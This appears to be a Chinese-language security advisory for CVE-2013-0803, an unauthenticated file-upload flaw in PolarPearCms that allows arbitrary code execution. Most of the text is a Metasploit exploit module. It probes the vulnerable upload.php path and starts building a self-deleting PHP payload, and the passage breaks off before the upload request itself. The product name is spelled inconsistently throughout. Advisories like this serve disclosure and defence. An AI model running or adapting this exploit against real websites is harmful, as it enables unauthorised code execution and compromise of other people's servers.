发布日期：2013-03-26
更新日期：2013-03-27
受影响系统：
PolarPearCms PolarPearCms
描述：
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CVE(CAN) ID: CVE-2013-0803
PolarPearCMS是MarsApril开发的内容管理系统。
PolarPearCms内存在利用upload.php文件的文件上传漏洞， 未经身份验证的恶意用户可上传文件到temp目录，造成任意代码执行。
<*来源：Metasploit
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'PolarPearCms PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in PlarPear CMS
By abusing the upload.php file, a malicious user can upload a file to a temp
directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'Fady Mohamed Osman' # @Fady_Osman
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0803' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 21 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
], self.class)
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears
end
def exploit
uri = target_uri.path
upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")
peer = "#{rhost}:#{rport}"
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)